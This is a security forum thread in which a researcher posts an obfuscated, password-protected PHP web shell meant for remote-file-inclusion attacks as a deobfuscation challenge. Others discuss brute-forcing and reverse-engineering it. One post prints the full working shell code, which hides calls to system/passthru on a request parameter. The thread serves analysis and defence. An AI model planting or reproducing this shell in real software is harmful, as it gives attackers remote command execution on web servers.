Jump to content

Decryption/Deobfuscation Challenge


bwall

Recommended Posts

So I see a lot of obfuscated/encoded PHP payloads used in RFI attacks. In general though, they are trivial to decode(Decoding tool I develop https://firebwall.com/decoding/index.php). After writing 2 papers on how and why they could be developed better(http://firebwall.com/research/InsecurityofPoorlyDesignedRemoteFileInclusionPayloads-P1.pdf http://firebwall.com/research/InsecurityofPoorlyDesignedRemoteFileInclusionPayloads-Part2.pdf (written with DigiP)), and only seeing simple increases in the attempt to hide information, I decided to spend an hour and write one that actually was not only hard to decode, but hard to take control over.

I put this challenge to the Hak5 community, tell me the password I'm using and how to run commands. I'm certain the Transferable State Attack would help you in your decryption process.

Here is the payload: http://pastebin.com/W92Q0Q9j

Happy Hacking :D

Link to comment
Share on other sites

I've got part of this down, but wondering if something is intentionally broken or just fat fingered. I keep getting a




unexpected '['

around line 11 for the array $s=$p("I",3782349928-unpack("I",$h)[1]); and then the rest of the script dies. I got the values of $p and $h, but the rest seems to crap out.

gah...this is driving me crazy. How can you have a subtract in a pack and unpack with an array?




s hráArray
8¡Q¨Ù®§¯Ú*|!
©\|ArrayPArray
5ð¡KÃÛrÞj
*Array1Array
»[ªÖá»Îrõ´Ïͼ
¨_ðxArray¶SñArray¡Oú~Arrayµ^ArrayµArray
ý¿U+üç\ó%tí5
Žž´)ArrayŽž´)Array

Fatal error: Call to undefined function ¨_ðxArray¶SñArray¡Oú~Arrayµ^ArrayµArray()

Will this make a difference if the system is 32 or 64 bit?

Edited by digip
Link to comment
Share on other sites

Given that the I option of unpack is a machine dependant for size and byte order then not only could 32bit v 64bit could be a problem, but also the endian type of the machines architecture could potentially cause problems.

Looking through the logic, there is a great use of hashes to protect the password. One option to tackle this would be to knock up some code to do a dictionary/brute force attack. This would be difficult as you would need to do quite a bit of computation to check the validity of each hash before discarding it.

A better option would be to simply replace the php code with some that takes the parameters passed to it and stores them in a file. This it would just be a matter of waiting for the attacker to try to use the script at which point you would have their password and their attempted command, which would make it quite easy to finish the deobfuscation.

Link to comment
Share on other sites

I can get the initial request password just fine and most of everything working by removing the arrays, but I get an undefined function towards the end when it tries to run, so I'm obviously doing something wrong. I ended up trying to just substitute and rewrite the whole thing to bypass the obfuscation, and every one of them gives me the same problems with an undefined function from the last few lines of code. I'm not a programmer, but I don't get how you can subtract an array string inside of a pack function, so I just changed some things around, but still not getting anywhere.

Edited by digip
Link to comment
Share on other sites

I can get the initial request password just fine

Did I miss something? It looked to me that the password is passed to the php script as part of the query string (in the "pass" parameter) and then repeatedly hashed with md5 10,000 times.


$h=$_REQUEST[pass]; for($i=0;$i<10000;$i++) $h=md5($h,1);
In theory it could be possible to attack it at this line
$h=md5($h,1);$e=pack("I",4336671913-unpack("I",$h)[1]).pack("S",86171-unpack("S",$h)[1]);
if you can find a value that when used in that line as $h results in a valid method of executing some php code then I suspect that you would have found the value of $h at that point, and from there it would be quite easy to work out the rest of it (with the exception of the actual password which would still require some form of dictionary/brute force attack, or simply snatching it from a real request from the attacker).
Edited by Jason Cooper
Link to comment
Share on other sites

3 hints. If the password is wrong, errors will be thrown.

Also, yes the password is iteratively hashed 10k times with MD5 then used to encrypt values, then is further hashed.

For the brute force angle, assume $e = "system"

Edit:

I'd also like to point out a good point. I should not have used "I" for packing, "L" or "N" would have been better choices. This shell is confirmed to work on an x64 Intel® Core i7-2620M CPU. x64 and x86 should not matter in this case since only 32 bit integers are being dealt with.

Some help with the password(brute forcing will take a LONG time without an optimized attack): The alpha is [a-zA-Z0-9]. The idea was to make it so brute forcing would not be a viable option, even for a forensics enthusiast like me with processing power(GPU and CPU) out the ass.

Edited by bwall
Link to comment
Share on other sites

Those that find that they get the "unexpected '[' error", it is caused by syntax that requires version 5.4 or newer of php.

Looking at the code again I can see it will take a while to devise the a way to attack this without simply replacing the code with a logger to grab the password when the attacker attempts to run a command.

If anyone else is looking at this then as we know you can assume that $e = "system". I also believe that $e1="passthru" and $fex = "function_exists".

I have based these assumptions on the number of characters returned from the pack function when called with the 'I', 'S' and 'C' options (4, 2 and 1 respectively). Which gives us a length of 8 for the length of $e1 function name (passthru) and 15 for the length of the $fex function name (function_exists).

Link to comment
Share on other sites

See, I read things in a different way, and probably why I am not a programmer, but here is what I started with, and worked my way down.



<?php
//$p=str_rot13("cnpx");
echo "pack(\"l\",1936941424)= ".pack("l",1936941424)."<br />"; // equals pass so $_REQUEST[pack("l",1936941424)]) must == pass, no?
$p=pack;
$_REQUEST[pack("l",1936941424)] = "pass"; //Set $_REQUEST[pack("l",1936941424)] to pass
if(($_REQUEST[pack("l",1936941424)]) != "pass"){
echo "Something went wrong";
exit();
}else {
$h=$_REQUEST[pack("l",1936941424)];
for($i=0;$i<10000;$i++)$h=md5($h,1);
echo "Initial Password is: ".$h;
}
?>

Which returned the following:



pack("l",1936941424)= pass
Initial Password is: û’m¼Å‘X»4Âcõ623

I had even gone as far as making all the md5's, not binary, and took out the ($h,1) and made them ($h) only at one point, and changed all inferences to pack("I") to pack("l"), but was still erroring out at the bottom part when it got to the actual function, I just ended up with a string of array like 5 times and then array() error. I was more or less trying to bypass the password mechanism, and feed it my own variable that I set it to.

Edited by digip
Link to comment
Share on other sites

Those that find that they get the "unexpected '[' error", it is caused by syntax that requires version 5.4 or newer of php.

Looking at the code again I can see it will take a while to devise the a way to attack this without simply replacing the code with a logger to grab the password when the attacker attempts to run a command.

If anyone else is looking at this then as we know you can assume that $e = "system". I also believe that $e1="passthru" and $fex = "function_exists".

I have based these assumptions on the number of characters returned from the pack function when called with the 'I', 'S' and 'C' options (4, 2 and 1 respectively). Which gives us a length of 8 for the length of $e1 function name (passthru) and 15 for the length of the $fex function name (function_exists).

You are correct with those assumptions. You can also replace "I" with "L".

Is there a backward compatible syntax for pack < 5.4? Feeling particularly lazy today >.<

Last night I put together a script that can generate this shell with any password, but I will not be releasing it until someone solves this. I am open to help anyone looking for optimizing a cracking method.

DigiP - You mixed that up, $_REQUEST[pack("l",1936941424)] is $_REQUEST['pass'] not 'pass'. Just a simple way to input the pass via $_GET/$_POST/$_COOKIE

Code Update:

<?php
@error_reporting(0);
$p=str_rot13("cnpx");
if(!isset($_REQUEST[pack("L",1936941424)]))exit();
$h=$_REQUEST[pack("L",1936941424)];
for($i=0;$i<10000;$i++)$h=md5($h,1);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e=$p("L",4336671913-$t[1]).$p("S",86171-$t1[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e1=$p("L",2317167118-$t[1]).pack("L",2350657810-$t[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$fex=$p("L",2029019048-$t[1]).$p("L",2213630902-$t[1]).$p("L",2130333601-$t[1]).$p("S",89781-$t1[1]).$p("C",181-$t2[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);
$r=$_REQUEST[$p("L",4994670222-$t[1])];
if($fex($e)){$e($r);}
else if($fex($e1)){$e1($r);}
?>

This should fix the PHP version issue.

Edited by bwall
Link to comment
Share on other sites

I never claimed to be an pwngrammer..lol

I was just trying to bypass having to know the password and hoping that whatever I made it to be, the rest would fall in place based on what I fed it, but I guess it won't work that way with this script. I know we've done something similar like that in the past but I guess with all your pack and unpack binary stuff, it has to match exactly or it barfs, so I am at a loss other than brute forcing the password..lol

Still, I get a syntax error for the pack-unpack stuff, but maybe thats because I don't have the proper password to make the rest of the functions and code stuff appear properly.

Link to comment
Share on other sites

I never claimed to be an pwngrammer..lol

I was just trying to bypass having to know the password and hoping that whatever I made it to be, the rest would fall in place based on what I fed it, but I guess it won't work that way with this script. I know we've done something similar like that in the past but I guess with all your pack and unpack binary stuff, it has to match exactly or it barfs, so I am at a loss other than brute forcing the password..lol

Still, I get a syntax error for the pack-unpack stuff, but maybe thats because I don't have the proper password to make the rest of the functions and code stuff appear properly.

Did you try using the latest code I pasted? Fixed a backwards compatibility issue.

Link to comment
Share on other sites

Did you try using the latest code I pasted? Fixed a backwards compatibility issue.

Yeah, I tried doing the same sort of password bypass with the new one too, same ordeal about bad syntax for the - between the pack and unpack, and if I change it to ).( I then get an error on the array so I remove those as well, but then by time it gets to bottom, it errors our for undefined function array(). I'd need a walkthrough tutorial on how to break it down. Programming just isn't my cup of tea..lol I make stuff happen when I need to do basic shit with websites, but thats the extent of my capabilities really.

Link to comment
Share on other sites

Decided to make this into a blog post so I don't have to explain the idea/challenge in a bunch of places. I have an even better version hidden away in my "software lab".

https://www.ballastsecurity.net/php/first-of-many-encrypted-php-shell-challenges/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...